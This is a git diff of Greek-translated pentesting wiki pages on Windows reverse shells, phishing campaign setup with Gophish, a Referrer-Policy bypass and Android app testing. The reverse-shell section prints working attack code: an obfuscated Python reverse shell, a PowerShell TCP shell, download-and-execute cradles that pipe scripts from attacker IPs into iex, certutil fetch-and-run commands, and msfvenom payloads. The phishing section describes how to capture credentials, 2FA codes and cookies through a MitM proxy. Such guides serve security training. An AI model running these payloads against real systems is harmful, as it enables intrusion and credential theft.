diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 6e0a935db..1a77ed9c6 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,8 +4,8 @@ ## Lolbas -Η σελίδα [lolbas-project.github.io](https://lolbas-project.github.io/) είναι για τα Windows όπως [https://gtfobins.github.io/](https://gtfobins.github.io/) είναι για το linux.\ -Προφανώς, **δεν υπάρχουν SUID αρχεία ή δικαιώματα sudo στα Windows**, αλλά είναι χρήσιμο να γνωρίζουμε **πώς** ορισμένα **binaries** μπορούν να (κατα)χρησιμοποιηθούν για να εκτελούν κάποιες απροσδόκητες ενέργειες όπως **η εκτέλεση αυθαίρετου κώδικα.** +Η σελίδα [lolbas-project.github.io](https://lolbas-project.github.io/) είναι για Windows όπως [https://gtfobins.github.io/](https://gtfobins.github.io/) είναι για linux.\ +Προφανώς, **δεν υπάρχουν SUID αρχεία ή sudo δικαιώματα στα Windows**, αλλά είναι χρήσιμο να γνωρίζουμε **πώς** ορισμένα **binaries** μπορούν να (κατα)χρησιμοποιηθούν για να εκτελέσουν κάποιες απροσδόκητες ενέργειες όπως **η εκτέλεση αυθαίρετου κώδικα.** ## NC ```bash @@ -27,7 +27,7 @@ ncat -l --ssl ``` ## SBD -**[sbd](https://www.kali.org/tools/sbd/) είναι μια φορητή και ασφαλής εναλλακτική του Netcat**. Λειτουργεί σε συστήματα τύπου Unix και Win32. Με χαρακτηριστικά όπως ισχυρή κρυπτογράφηση, εκτέλεση προγραμμάτων, προσαρμόσιμες θύρες προέλευσης και συνεχόμενη επανασύνδεση, το sbd παρέχει μια ευέλικτη λύση για επικοινωνία TCP/IP. Για τους χρήστες Windows, η έκδοση sbd.exe από τη διανομή Kali Linux μπορεί να χρησιμοποιηθεί ως αξιόπιστη αντικατάσταση του Netcat. +**[sbd](https://www.kali.org/tools/sbd/) είναι μια φορητή και ασφαλής εναλλακτική του Netcat**. Λειτουργεί σε συστήματα τύπου Unix και Win32. Με χαρακτηριστικά όπως ισχυρή κρυπτογράφηση, εκτέλεση προγραμμάτων, προσαρμόσιμες πηγές θυρών και συνεχόμενη επανασύνδεση, το sbd παρέχει μια ευέλικτη λύση για επικοινωνία TCP/IP. Για τους χρήστες Windows, η έκδοση sbd.exe από τη διανομή Kali Linux μπορεί να χρησιμοποιηθεί ως αξιόπιστη αντικατάσταση του Netcat. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -39,7 +39,7 @@ sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` -## Πυθών +## Python ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" @@ -74,7 +74,7 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` -## PowerShell +## Powershell ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" @@ -93,7 +93,7 @@ Payload που γράφτηκε στον δίσκο: **WebDAV client local cache ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` -**Αποκτήστε περισσότερες πληροφορίες σχετικά με διάφορα Powershell Shells στο τέλος αυτού του εγγράφου** +**Πάρτε περισσότερες πληροφορίες σχετικά με διαφορετικά Powershell Shells στο τέλος αυτού του εγγράφου** ## Mshta @@ -115,7 +115,7 @@ mshta \\webdavserver\folder\payload.hta ``` **Μπορείτε να κατεβάσετε και να εκτελέσετε πολύ εύκολα ένα Koadic zombie χρησιμοποιώντας το stager hta** -#### παράδειγμα hta +#### hta παράδειγμα [**Από εδώ**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml @@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll #### Regsvr32 -sct [**Από εδώ**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) -```markup +```html @@ -263,7 +263,7 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` -**Ανιχνεύτηκε από τον αμυντικό** +**Ανιχνεύθηκε από τον αμυντικό** ## **Cscript/Wscript** ```bash @@ -280,7 +280,7 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh \\webdavserver\folder\batchfile.bat ``` Διαδικασία που εκτελεί κλήση δικτύου: **svchost.exe**\ -Φορτίο που γράφτηκε στον δίσκο: **WebDAV client local cache** +Payload που έχει γραφτεί στον δίσκο: **WebDAV client local cache** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -375,11 +375,11 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -Στο φάκελο **Shells**, υπάρχουν πολλές διαφορετικές shells. Για να κατεβάσετε και να εκτελέσετε το Invoke-_PowerShellTcp.ps1_, κάντε ένα αντίγραφο του script και προσθέστε στο τέλος του αρχείου: +Στον φάκελο **Shells**, υπάρχουν πολλές διαφορετικές shells. Για να κατεβάσετε και να εκτελέσετε Invoke-_PowerShellTcp.ps1_, κάντε ένα αντίγραφο του script και προσθέστε στο τέλος του αρχείου: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` -Αρχίστε να εξυπηρετείτε το σενάριο σε έναν διακομιστή ιστού και εκτελέστε το στην πλευρά του θύματος: +Αρχίστε να σερβίρετε το σενάριο σε έναν διακομιστή ιστού και εκτελέστε το στην πλευρά του θύματος: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` @@ -447,7 +447,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ## Περισσότερα [PS>Attack](https://github.com/jaredhaight/PSAttack) PS κονσόλα με μερικά επιθετικά PS modules προφορτωμένα (κρυπτογραφημένα)\ -[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ +[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\ WinPWN](https://github.com/SecureThisShit/WinPwn) PS κονσόλα με μερικά επιθετικά PS modules και ανίχνευση proxy (IEX) ## Αναφορές diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index a061ec9b3..1e4ca957e 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -47,9 +47,9 @@ ### Bitflipping -Υπάρχει μια **πιθανότητα ότι ένα από τα bits που αποθηκεύονται ή σε επικοινωνία μπορεί να αλλάξει αυτόματα** λόγω διαφόρων παραγόντων όπως ηλιακές εκρήξεις, κοσμικές ακτίνες ή σφάλματα υλικού. +Υπάρχει μια **πιθανότητα ότι ένα από τα bits που αποθηκεύονται ή επικοινωνούνται μπορεί να αλλάξει αυτόματα** λόγω διαφόρων παραγόντων όπως ηλιακές εκλάμψεις, κοσμικές ακτίνες ή σφάλματα υλικού. -Όταν αυτή η έννοια είναι **εφαρμοσμένη σε DNS αιτήματα**, είναι πιθανό ότι το **domain που λαμβάνεται από τον DNS server** δεν είναι το ίδιο με το domain που ζητήθηκε αρχικά. +Όταν αυτή η έννοια **εφαρμόζεται σε αιτήματα DNS**, είναι πιθανό ότι το **domain που λαμβάνεται από τον διακομιστή DNS** δεν είναι το ίδιο με το domain που ζητήθηκε αρχικά. Για παράδειγμα, μια μόνο τροποποίηση bit στο domain "windows.com" μπορεί να το αλλάξει σε "windnws.com." @@ -91,7 +91,7 @@ ssh -L 3333:127.0.0.1:3333 @ **Ρύθμιση πιστοποιητικού TLS** -Πριν από αυτό το βήμα θα πρέπει να έχετε **ήδη αγοράσει το domain** που πρόκειται να χρησιμοποιήσετε και πρέπει να **δείχνει** στη **διεύθυνση IP του VPS** όπου ρυθμίζετε το **gophish**. +Πριν από αυτό το βήμα θα πρέπει να έχετε **αγοράσει ήδη το domain** που θα χρησιμοποιήσετε και πρέπει να **δείχνει** στη **διεύθυνση IP του VPS** όπου ρυθμίζετε το **gophish**. ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto @@ -229,7 +229,7 @@ service gophish stop ### Ρύθμιση εγγραφής Αντίστροφης DNS (rDNS) -Ρυθμίστε μια εγγραφή rDNS (PTR) που επιλύει τη διεύθυνση IP του VPS στο όνομα τομέα. +Ορίστε μια εγγραφή rDNS (PTR) που επιλύει τη διεύθυνση IP του VPS στο όνομα τομέα. ### Εγγραφή Πολιτικής Αποστολέα (SPF) @@ -239,7 +239,7 @@ service gophish stop ![](<../../images/image (1037).png>) -Αυτό είναι το περιεχόμενο που πρέπει να ρυθμιστεί μέσα σε μια εγγραφή TXT στον τομέα: +Αυτό είναι το περιεχόμενο που πρέπει να οριστεί μέσα σε μια εγγραφή TXT στον τομέα: ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` @@ -283,7 +283,7 @@ DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` -Μπορείτε επίσης να στείλετε **μήνυμα σε ένα Gmail υπό τον έλεγχό σας** και να ελέγξετε τα **κεφαλίδες του email** στο Gmail inbox σας, το `dkim=pass` θα πρέπει να είναι παρόν στο πεδίο κεφαλίδας `Authentication-Results`. +Μπορείτε επίσης να στείλετε **μήνυμα σε ένα Gmail υπό τον έλεγχό σας** και να ελέγξετε τα **κεφαλίδες του email** στο Gmail inbox σας, `dkim=pass` θα πρέπει να είναι παρόν στο πεδίο κεφαλίδας `Authentication-Results`. ``` Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; @@ -303,7 +303,7 @@ dkim=pass header.i=@example.com; - Ορίστε κάποιο **όνομα για να αναγνωρίσετε** το προφίλ αποστολέα - Αποφασίστε από ποιον λογαριασμό θα στείλετε τα phishing emails. Προτάσεις: _noreply, support, servicedesk, salesforce..._ -- Μπορείτε να αφήσετε κενά το όνομα χρήστη και τον κωδικό πρόσβασης, αλλά βεβαιωθείτε ότι έχετε ελέγξει την επιλογή Αγνόηση Σφαλμάτων Πιστοποιητικού +- Μπορείτε να αφήσετε κενό το όνομα χρήστη και τον κωδικό πρόσβασης, αλλά βεβαιωθείτε ότι έχετε ελέγξει την επιλογή Αγνόηση Σφαλμάτων Πιστοποιητικού ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) @@ -317,7 +317,7 @@ dkim=pass header.i=@example.com; - Στη συνέχεια, γράψτε ένα **θέμα** (τίποτα παράξενο, απλώς κάτι που θα περιμένατε να διαβάσετε σε ένα κανονικό email) - Βεβαιωθείτε ότι έχετε ελέγξει την επιλογή "**Προσθήκη Εικόνας Παρακολούθησης**" - Γράψτε το **πρότυπο email** (μπορείτε να χρησιμοποιήσετε μεταβλητές όπως στο παρακάτω παράδειγμα): -```markup +```html @@ -365,7 +365,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ### Users & Groups - Ορίστε ένα όνομα -- **Εισάγετε τα δεδομένα** (σημειώστε ότι για να χρησιμοποιήσετε το πρότυπο για το παράδειγμα χρειάζεστε το όνομα, το επώνυμο και τη διεύθυνση email κάθε χρήστη) +- **Εισάγετε τα δεδομένα** (σημειώστε ότι για να χρησιμοποιήσετε το template για το παράδειγμα χρειάζεστε το όνομα, το επώνυμο και τη διεύθυνση email κάθε χρήστη) ![](<../../images/image (163).png>) @@ -410,7 +410,7 @@ phishing-documents.md 1. Εσείς **προσποιείστε τη φόρμα σύνδεσης** της πραγματικής ιστοσελίδας. 2. Ο χρήστης **στέλνει** τα **διαπιστευτήριά** του στη ψεύτικη σελίδα σας και το εργαλείο στέλνει αυτά στη πραγματική ιστοσελίδα, **ελέγχοντας αν τα διαπιστευτήρια λειτουργούν**. 3. Αν ο λογαριασμός είναι ρυθμισμένος με **2FA**, η σελίδα MitM θα ζητήσει αυτό και μόλις ο **χρήστης το εισάγει**, το εργαλείο θα το στείλει στη πραγματική ιστοσελίδα. -4. Μόλις ο χρήστης αυθεντικοποιηθεί, εσείς (ως επιτιθέμενος) θα έχετε **συλλάβει τα διαπιστευτήρια, το 2FA, το cookie και οποιαδήποτε πληροφορία** από κάθε αλληλεπίδραση σας ενώ το εργαλείο εκτελεί μια MitM. +4. Μόλις ο χρήστης αυθεντικοποιηθεί, εσείς (ως επιτιθέμενος) θα έχετε **καταγράψει τα διαπιστευτήρια, το 2FA, το cookie και οποιαδήποτε πληροφορία** από κάθε αλληλεπίδραση σας ενώ το εργαλείο εκτελεί μια MitM. ### Via VNC diff --git a/src/interesting-http.md b/src/interesting-http.md index 1ba1075b2..31ae07301 100644 --- a/src/interesting-http.md +++ b/src/interesting-http.md @@ -21,10 +21,10 @@ Referrer-Policy: strict-origin Referrer-Policy: strict-origin-when-cross-origin Referrer-Policy: unsafe-url ``` -## Αντεπίθεση +## Counter-Mitigation -Μπορείτε να παρακάμψετε αυτόν τον κανόνα χρησιμοποιώντας μια ετικέτα HTML meta (ο επιτιθέμενος πρέπει να εκμεταλλευτεί και μια ένεση HTML): -```markup +Μπορείτε να παρακάμψετε αυτόν τον κανόνα χρησιμοποιώντας μια ετικέτα HTML meta (ο επιτιθέμενος χρειάζεται να εκμεταλλευτεί και μια ένεση HTML): +```html ``` diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index f10f1c6af..39f81c3e7 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Βασικά για Εφαρμογές Android +## Βασικά Σχετικά με τις Εφαρμογές Android Συνιστάται έντονα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**: @@ -12,7 +12,7 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή Android (εξομοιωμένη ή φυσική).\ +Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\ **ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών. Ρίξτε μια ματιά στη λίστα με τις [**Εντολές ADB**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb. @@ -52,7 +52,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ### Αναζητώντας ενδιαφέροντα στοιχεία -Απλά ρίχνοντας μια ματιά στις **αλφαβητικές σειρές** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε άλλο ενδιαφέρον... αναζητήστε ακόμη και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή). +Απλά ρίχνοντας μια ματιά στις **αλφαβητικές σειρές** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... αναζητήστε ακόμη και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή). **Firebase** @@ -87,7 +87,7 @@ tapjacking.md ### Task Hijacking -Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή, θα μπορούσε να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**). +Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή, θα μπορούσε να **καταλάβει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**). Περισσότερες πληροφορίες στο: @@ -99,16 +99,16 @@ android-task-hijacking.md **Εσωτερική Αποθήκευση** -Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας είναι **επιβεβλημένο** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέπουν** τα αρχεία να είναι **κοινά** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων. +Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφάλειας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέπουν** τα αρχεία να είναι **κοινά** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων. 1. **Στατική Ανάλυση:** -- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**. +- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` **εξετάζεται προσεκτικά**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**. 2. **Δυναμική Ανάλυση:** - **Επαληθεύστε** τις **άδειες** που έχουν οριστεί στα αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ρυθμισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία. **Εξωτερική Αποθήκευση** -Όταν ασχολείστε με αρχεία σε **εξωτερική αποθήκευση**, όπως οι κάρτες SD, θα πρέπει να ληφθούν ορισμένες προφυλάξεις: +Όταν ασχολείστε με αρχεία σε **εξωτερική αποθήκευση**, όπως κάρτες SD, θα πρέπει να ληφθούν ορισμένες προφυλάξεις: 1. **Προσβασιμότητα**: - Τα αρχεία στην εξωτερική αποθήκευση είναι **παγκοσμίως αναγνώσιμα και εγγράψιμα**. Αυτό σημαίνει ότι οποιαδήποτε εφαρμογή ή χρήστης μπορεί να έχει πρόσβαση σε αυτά τα αρχεία. @@ -120,15 +120,15 @@ android-task-hijacking.md - Η αποθήκευση εκτελέσιμων ή αρχείων κλάσης στην εξωτερική αποθήκευση για δυναμική φόρτωση αποθαρρύνεται έντονα. - Εάν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από την εξωτερική αποθήκευση, βεβαιωθείτε ότι αυτά τα αρχεία είναι **υπογεγραμμένα και κρυπτογραφικά επαληθευμένα** πριν φορτωθούν δυναμικά. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ασφάλειας της εφαρμογής σας. -Η εξωτερική αποθήκευση μπορεί να προσπελαστεί στο `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` +Η εξωτερική αποθήκευση μπορεί να **προσεγγιστεί** σε `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` > [!NOTE] -> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτήν την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής. +> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτή την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής. **Ευαίσθητα δεδομένα αποθηκευμένα σε καθαρό κείμενο** -- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα xml αρχεία στη διαδρομή `/data/data//shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο. -- **Βάσεις Δεδομένων**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα βάσεις δεδομένων sqlite στη διαδρομή `/data/data//databases/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο. +- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα αρχεία xml στην διαδρομή `/data/data//shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο. +- **Βάσεις Δεδομένων**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα βάσεις δεδομένων sqlite στην διαδρομή `/data/data//databases/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο. ### Σπασμένο TLS @@ -139,7 +139,7 @@ android-task-hijacking.md SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Ένας καλός τρόπος για να το δοκιμάσετε είναι να προσπαθήσετε να καταγράψετε την κίνηση χρησιμοποιώντας κάποιο proxy όπως το Burp χωρίς να εξουσιοδοτήσετε το Burp CA μέσα στη συσκευή. Επίσης, μπορείτε να δημιουργήσετε με το Burp ένα πιστοποιητικό για διαφορετικό hostname και να το χρησιμοποιήσετε. +Ένας καλός τρόπος για να το δοκιμάσετε είναι να προσπαθήσετε να καταγράψετε την κίνηση χρησιμοποιώντας κάποιο proxy όπως το Burp χωρίς να εξουσιοδοτήσετε το Burp CA στη συσκευή. Επίσης, μπορείτε να δημιουργήσετε με το Burp ένα πιστοποιητικό για διαφορετικό hostname και να το χρησιμοποιήσετε. ### Σπασμένη Κρυπτογραφία @@ -147,9 +147,9 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες. -**Χρήση Ανασφαλών και/ή Υποστηριγμένων Αλγορίθμων** +**Χρήση Ανασφαλών και/ή Υποστηριζόμενων Αλγορίθμων** -Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριγμένους αλγορίθμους** για να εκτελούν ελέγχους **εξουσιοδότησης**, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt. +Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριζόμενους αλγορίθμους** για να εκτελούν ελέγχους **εξουσιοδότησης**, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν οι **hashes** χρησιμοποιούνται για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικοί σε brute-force με salt. ### Άλλοι έλεγχοι @@ -157,7 +157,7 @@ 